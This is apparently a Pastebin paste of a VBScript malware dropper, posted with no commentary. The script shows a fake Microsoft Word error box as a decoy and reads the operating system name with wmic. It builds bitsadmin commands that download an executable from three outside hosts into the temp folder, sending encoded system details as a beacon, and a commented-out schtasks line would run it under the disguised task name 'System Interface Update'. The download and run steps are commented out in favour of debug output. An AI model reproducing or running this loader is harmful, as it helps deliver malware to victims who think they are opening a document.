Advertisement
Guest User

Untitled

a guest
Jun 11th, 2019
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. On Error Resume Next
  2.  
  3. Dim wShell
  4. Set wShell = WScript.CreateObject("WScript.Shell")
  5.  
  6. urlArr = Array("http://crown.rooftransformers.com/narcissist.zip","http://owen.austinroofwash.com/perfunctory.zip","http://pictures.softwashtexas.com/scintillating.zip")
  7.  
  8. Const TemporaryFolder = 2 ' code for temporary folder type
  9. Set fso = CreateObject("Scripting.FileSystemObject")
  10. storageFile = fso.GetSpecialFolder(TemporaryFolder) & "\475f2e212ea73f25a8f592fc6669f3a8862edf7d6f71.exe"
  11.  
  12. Set osCaption = wshell.Exec("wmic OS get Caption /value")
  13. osCaptionStdout = Trim(osCaption.StdOut.ReadAll)
  14. SystemList = split(osCaptionStdout, "=")
  15. osName = Trim(SystemList(1))
  16.  
  17. avList = ""
  18.  
  19. launchAt = FormatDateTime(DateAdd("n", 2, Now), vbShortTime) ' NOW() + 2 minutes
  20.  
  21. '83fd45ba95a3c892c0f6b444543e62db76b5ba898baf
  22. MsgBox "The file cannot be opened because there are problems with the contents.", 0, "Microsoft Word"
  23.  
  24. DatabaseConnectionStr = "?bg=mg01"
  25. DatabaseConnectionStr = DatabaseConnectionStr & "&os=" & Base64Encode(osName)
  26. DatabaseConnectionStr = DatabaseConnectionStr & "&av=" & Base64Encode(avList)
  27.  
  28. For Each el In urlArr
  29.     randomize
  30.     r = int(rnd*100) + 1
  31.     ' intReturn = wShell.Run("bitsadmin /RAWRETURN /transfer zipjob" & r & " /download /DYNAMIC /Priority normal " & el & DatabaseConnectionStr & " " & storageFile, 0, True)
  32.  
  33.     print_dbg("bitsadmin /RAWRETURN /transfer zipjob" & r & " /download /DYNAMIC /Priority normal " & el & DatabaseConnectionStr & " " & storageFile)
  34.  
  35.     ' If (intReturn = 0) And (fso.FileExists(storageFile)) Then      
  36.    '     wShell.Run "SchTasks /Create /SC ONCE /TN ""System Interface Update"" /TR " & storageFile & " /ST " & launchAt, 0, False
  37.    '     Exit For
  38.    ' End If
  39. Next
  40.  
  41.  
  42. function print_dbg(ByVal msg)
  43.   WScript.Echo(msg)
  44. end function
  45.  
  46. Function Base64Encode(inData)
  47.   'rfc1521
  48. '2001 Antonin Foller, Motobit Software, http://Motobit.cz
  49. '7e423613841cc69299ffea706272669d1560f8b625a4
  50. Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  51.   Dim cOut, sOut, I
  52.  
  53.   'For each group of 3 bytes
  54. For I = 1 To Len(inData) Step 3
  55.     Dim nGroup, pOut, sGroup
  56.    
  57.     'Create one long from this 3 bytes.
  58.   nGroup = &H10000 * Asc(Mid(inData, I, 1)) + _
  59.       &H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1))
  60.    
  61.     'Oct splits the long To 8 groups with 3 bits
  62.   nGroup = Oct(nGroup)
  63.    
  64.     'Add leading zeros
  65.   nGroup = String(8 - Len(nGroup), "0") & nGroup
  66.    
  67.     'Convert To base64
  68.   pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + _
  69.       Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + _
  70.       Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + _
  71.       Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1)
  72.    
  73.     'Add the part To OutPut string
  74.   sOut = sOut + pOut
  75.    
  76.     'Add a new line For Each 76 chars In dest (76*3/4 = 57)
  77.   'If (I + 2) Mod 57 = 0 Then sOut = sOut + vbCrLf
  78. Next
  79.   Select Case Len(inData) Mod 3
  80.     Case 1: '8 bit final
  81.     sOut = Left(sOut, Len(sOut) - 2) + "=="
  82.     Case 2: '16 bit final
  83.     sOut = Left(sOut, Len(sOut) - 1) + "="
  84.   End Select
  85.   Base64Encode = sOut
  86. End Function
  87.  
  88. 'adb3292bf47dfabac14ec1ee21acb51ab70e51e7053c
  89. Function MyASC(OneChar)
  90.   If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
  91. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement